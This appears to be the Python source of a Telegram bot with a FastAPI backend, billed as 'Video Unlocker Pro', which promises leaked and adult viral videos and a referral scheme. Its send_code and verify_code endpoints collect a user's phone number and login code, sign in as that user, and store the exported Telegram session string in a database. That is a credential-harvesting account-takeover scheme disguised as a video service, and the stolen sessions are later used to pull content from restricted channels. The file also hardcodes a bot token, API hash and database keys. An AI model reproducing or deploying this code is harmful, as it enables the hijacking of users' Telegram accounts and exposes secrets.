File size: 10,870 Bytes
119d2aa
58f8b8d
 
 
 
 
e2c1865
 
 
 
119d2aa
58f8b8d
 
119d2aa
58f8b8d
10b6ebf
e09f2ef
 
8c80a61
 
bc8529d
58f8b8d
5fcc166
e5df29a
e2c1865
 
 
 
 
 
 
 
 
 
58f8b8d
5fcc166
58f8b8d
b5a9862
e2c1865
58f8b8d
5fcc166
58f8b8d
 
 
e2c1865
 
 
 
5fcc166
e2c1865
 
58f8b8d
 
e2c1865
58f8b8d
e2c1865
5fcc166
e2c1865
 
 
58f8b8d
 
 
e5df29a
58f8b8d
 
e2c1865
58f8b8d
e2c1865
58f8b8d
e2c1865
 
 
 
 
 
 
 
58f8b8d
 
e2c1865
58f8b8d
 
 
e2c1865
58f8b8d
 
 
 
e2c1865
58f8b8d
e2c1865
5fcc166
58f8b8d
 
 
 
 
5fcc166
58f8b8d
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
5fcc166
58f8b8d
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
5fcc166
58f8b8d
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
5fcc166
58f8b8d
 
5fcc166
58f8b8d
e2c1865
 
b5a9862
119d2aa
e2c1865
 
58f8b8d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
import os
import time
import threading
import requests
import asyncio
import re
import uvicorn
from fastapi import FastAPI, Request
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import JSONResponse
from supabase import create_client
from pyrogram import Client, filters, enums
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo

# ================= CONFIGURATION =================
BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
API_ID = 36649275         
API_HASH = "9e8ee34dce9a83cdcafc451fd5cb9c5a"     
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html?v=100" 
BYSE_API_KEY = "133323knboif885fhgwxvf"
ADMIN_IDS = [7307789267]

# ================= FASTAPI SETUP =================
app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
admin_states = {}
temp_clients = {} 

# Pyrogram Bot Setup
bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)

async def db_query(func):
    return await asyncio.to_thread(func)

# ================= FASTAPI ROUTES =================
@app.get("/")
async def index():
    return {"status": "online", "message": "Video Unlocker API is Running on FastAPI! 🚀"}

@app.get("/api/videos")
async def api_videos():
    try:
        res = supabase.table('videos').select('*').order('id', desc=True).execute()
        return JSONResponse(content=res.data)
    except Exception as e:
        return JSONResponse(content=[])

@app.post("/api/send_code")
async def api_send_code(request: Request):
    data = await request.json()
    phone = data.get('phone')
    client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
    await client.connect()
    try:
        code_info = await client.send_code(phone)
        temp_clients[phone] = {"client": client, "hash": code_info.phone_code_hash}
        return {"status": "ok", "hash": code_info.phone_code_hash}
    except Exception as e:
        return {"status": "error", "msg": str(e)}

@app.post("/api/verify_code")
async def api_verify_code(request: Request):
    data = await request.json()
    phone = data.get('phone')
    otp = data.get('otp')
    hash_val = data.get('hash')
    u_id = data.get('user_id')
    
    entry = temp_clients.get(phone)
    if not entry: 
        return {"status": "error", "msg": "Session expired"}
    
    client = entry["client"]
    try:
        await client.sign_in(phone, hash_val, otp.replace(" ", ""))
        session_string = await client.export_session_string()
        await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": u_id, "session_string": session_string}).execute())
        await client.disconnect()
        temp_clients.pop(phone, None)
        return {"status": "ok"}
    except Exception as e:
        return {"status": "error", "msg": str(e)}


# ================= TELEGRAM BOT COMMANDS =================
@bot.on_message(filters.command("start"))
async def start(client, message):
    if message.chat.type != enums.ChatType.PRIVATE:
        try:
            bot_me = client.me if client.me else await client.get_me()
            bot_link = f"https://t.me/{bot_me.username}"
            markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
            await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
        except Exception: pass
        return

    try:
        user_id = message.from_user.id
        first_name = message.from_user.first_name
        args = message.command
        referrer_id = None
        if len(args) > 1:
            try: referrer_id = int(args[1])
            except ValueError: pass

        user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
        
        if not user_check.data: 
            await db_query(lambda: supabase.table('referrals').insert({
                'user_id': user_id, 
                'referral_count': 0, 
                'referrer_id': referrer_id if referrer_id != user_id else None
            }).execute())

            if referrer_id and referrer_id != user_id:
                ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
                if ref_data.data:
                    new_count = ref_data.data[0]['referral_count'] + 1
                    await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
                    try:
                        safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
                        success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
                        markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
                        await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
                    except Exception: pass

        bot_me = client.me if client.me else await client.get_me()
        markup = InlineKeyboardMarkup([
            [InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
            [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
        ])
        
        welcome_text = (
            f"Hello <b>{first_name}</b>! 👋\n\n"
            f"🎁 <b>Welcome to Video Unlocker Pro!</b>\n"
            f"Here you can watch premium leaked and viral videos completely for FREE.\n\n"
            f"📌 <b>Pro Tip:</b> Send me any restricted channel video link and I will download it for you!\n\n"
            f"👇 <b>Click the button below to Open App:</b>"
        )
        await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
    except Exception as e: 
        print(f"Start error: {e}")

@bot.on_message(filters.new_chat_members)
async def bot_added_to_group(client, message):
    me = client.me
    if getattr(me, "id", None) is None:
        try: me = await client.get_me()
        except: return

    for member in message.new_chat_members:
        if member.id == me.id:
            try:
                await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
                group_name = message.chat.title
                admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
                for admin_id in ADMIN_IDS:
                    try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
                    except: pass
            except: pass


# ================= RESTRICTED DOWNLOADER =================
@bot.on_message(filters.regex(r"https://t\.me/(c/)?([\w\d_]+)/(\d+)") & filters.private)
async def restricted_download(client, message):
    user_id = message.from_user.id
    res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
    
    if not res.data:
        await message.reply("❌ <b>আপনার অ্যাকাউন্ট লিঙ্ক করা নেই!</b>\n\nরেস্ট্রিক্টেড চ্যানেলের ভিডিও ডাউনলোড করতে প্রথমে অ্যাপে গিয়ে <b>🎁 Secret Box</b> এর মাধ্যমে আপনার টেলিগ্রাম অ্যাকাউন্টটি লিঙ্ক করুন।", parse_mode=enums.ParseMode.HTML)
        return

    status = await message.reply("⏳ আপনার অ্যাকাউন্ট দিয়ে ভিডিওটি চেক করা হচ্ছে...")
    session_string = res.data[0]['session_string']
    
    try:
        async with Client("temp_session", api_id=API_ID, api_hash=API_HASH, session_string=session_string, in_memory=True) as user_app:
            link_pattern = r"https://t\.me/(c/)?([\w\d_]+)/(\d+)"
            match = re.search(link_pattern, message.text)
            chat_id = int("-100" + match.group(2)) if match.group(1) else match.group(2)
            msg_id = int(match.group(3))

            target_msg = await user_app.get_messages(chat_id, msg_id)
            if not target_msg.video and not target_msg.document:
                await status.edit_text("❌ লিংকে কোনো ভিডিও বা ডকুমেন্ট পাওয়া যায়নি!")
                return
            
            file_size = (target_msg.video or target_msg.document).file_size
            if file_size > 300 * 1024 * 1024:
                await status.edit_text("⚠️ ফাইলটি অনেক বড় (৩০০ এমবির বেশি)! আপনার সার্ভার ক্র্যাশ এড়াতে এটি ডাউনলোড করা সম্ভব নয়।")
                return

            await status.edit_text("⏳ ভিডিও ডাউনলোড হচ্ছে (Restricted Channel থেকে)...")
            file_path = await user_app.download_media(target_msg)
        
        await status.edit_text("✅ ডাউনলোড সফল! এখন পাঠানো হচ্ছে...")
        if target_msg.video: await client.send_video(message.chat.id, file_path, caption="🎬 আপনার ভিডিও!\n🤖 @mxvdo")
        else: await client.send_document(message.chat.id, file_path, caption="📁 আপনার ফাইল!\n🤖 @mxvdo")
            
        if os.path.exists(file_path): os.remove(file_path)
        await status.delete()

    except Exception as e:
        await status.edit_text(f"❌ এরর: হয়তো আপনি ওই চ্যানেলে জয়েন নেই অথবা সেশন এক্সপায়ার হয়েছে।")


# ================= RUNNER =================
def run_fastapi(): 
    uvicorn.run(app, host="0.0.0.0", port=7860)

if __name__ == "__main__":
    threading.Thread(target=run_fastapi, daemon=True).start()
    print("🤖 Pyrogram Bot and FastAPI are starting on Hugging Face...")
    bot.run()